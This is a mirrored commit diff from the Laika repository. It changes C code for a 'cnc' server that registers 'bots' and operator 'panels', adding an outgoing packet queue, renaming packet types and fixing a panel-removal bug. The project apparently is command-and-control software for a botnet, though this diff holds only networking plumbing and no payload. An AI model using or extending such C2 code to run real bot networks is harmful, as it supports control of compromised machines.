mirror of
https://github.com/CPunch/Laika.git
synced 2025-10-03 14:50:18 +00:00
Added laikaP_pushOutQueue, minor refactoring
- sLaika_pollList now holds an outQueue, if events are sent to a peer, the pollList will keep track so the caller (cnc, bot, etc) can handle each pollOut for the queued peers.
This commit is contained in:
@@ -41,8 +41,6 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
|
||||
laikaS_writeByte(&peer->sock, laikaS_isBigEndian());
|
||||
laikaS_endOutPacket(peer);
|
||||
|
||||
/* send bot connection info to any connected panel clients */
|
||||
|
||||
LAIKA_DEBUG("accepted handshake from peer %lx\n", peer);
|
||||
}
|
||||
|
||||
@@ -98,7 +96,7 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc) {
|
||||
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
|
||||
int i;
|
||||
|
||||
/* notify connected panels of the connected peer */
|
||||
/* notify connected panels of the newly connected peer */
|
||||
for (i = 0; i < cnc->panelCount; i++) {
|
||||
laikaC_sendNewPeer(cnc->panels[i], peer);
|
||||
}
|
||||
@@ -109,7 +107,8 @@ void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
|
||||
|
||||
/* notify connected panels of the disconnected peer */
|
||||
for (i = 0; i < cnc->panelCount; i++) {
|
||||
laikaC_sendRmvPeer(cnc->panels[i], peer);
|
||||
if (cnc->panels[i] != peer) /* don't send disconnect event to themselves */
|
||||
laikaC_sendRmvPeer(cnc->panels[i], peer);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -118,7 +117,7 @@ void laikaC_rmvPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel) {
|
||||
|
||||
for (i = 0; i < cnc->panelCount; i++) {
|
||||
if (cnc->panels[i] == panel) { /* we found the index for our panel! */
|
||||
laikaM_rmvarray(cnc->panels, cnc->panelCap, i, 1);
|
||||
laikaM_rmvarray(cnc->panels, cnc->panelCount, i, 1);
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -198,5 +197,13 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
|
||||
LAIKA_TRYEND
|
||||
}
|
||||
|
||||
/* flush pList's outQueue */
|
||||
for (i = 0; i < cnc->pList.outCount; i++) {
|
||||
peer = cnc->pList.outQueue[i];
|
||||
if (!laikaS_handlePeerOut(peer))
|
||||
laikaC_killPeer(cnc, peer);
|
||||
}
|
||||
laikaP_resetOutQueue(&cnc->pList);
|
||||
|
||||
return true;
|
||||
}
|
@@ -10,14 +10,19 @@ inline void checkAuthenticated(struct sLaika_peer *peer) {
|
||||
bool sendPanelPeerIter(struct sLaika_socket *sock, void *uData) {
|
||||
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
|
||||
struct sLaika_peer *panel = (struct sLaika_peer*)uData;
|
||||
struct sLaika_cnc *cnc = (struct sLaika_cnc*)panel->uData;
|
||||
|
||||
laikaC_sendNewPeer(panel, peer);
|
||||
/* make sure we're not sending cnc info lol, also don't send connection information about themselves */
|
||||
if (&peer->sock != &cnc->sock && peer != panel) {
|
||||
LAIKA_DEBUG("sending peer info %lx (cnc: %lx, panel: %lx)\n", peer, cnc, panel);
|
||||
laikaC_sendNewPeer(panel, peer);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void laikaC_sendNewPeer(struct sLaika_peer *panel, struct sLaika_peer *bot) {
|
||||
laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_ADD_BOT);
|
||||
laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_ADD_PEER);
|
||||
|
||||
/* write the bot's pubkey & peerType */
|
||||
laikaS_write(&panel->sock, bot->peerPub, sizeof(bot->peerPub));
|
||||
@@ -27,7 +32,7 @@ void laikaC_sendNewPeer(struct sLaika_peer *panel, struct sLaika_peer *bot) {
|
||||
}
|
||||
|
||||
void laikaC_sendRmvPeer(struct sLaika_peer *panel, struct sLaika_peer *bot) {
|
||||
laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_RMV_BOT);
|
||||
laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_RMV_PEER);
|
||||
|
||||
/* write the bot's pubkey */
|
||||
laikaS_write(&panel->sock, bot->peerPub, sizeof(bot->peerPub));
|
||||
|
Reference in New Issue
Block a user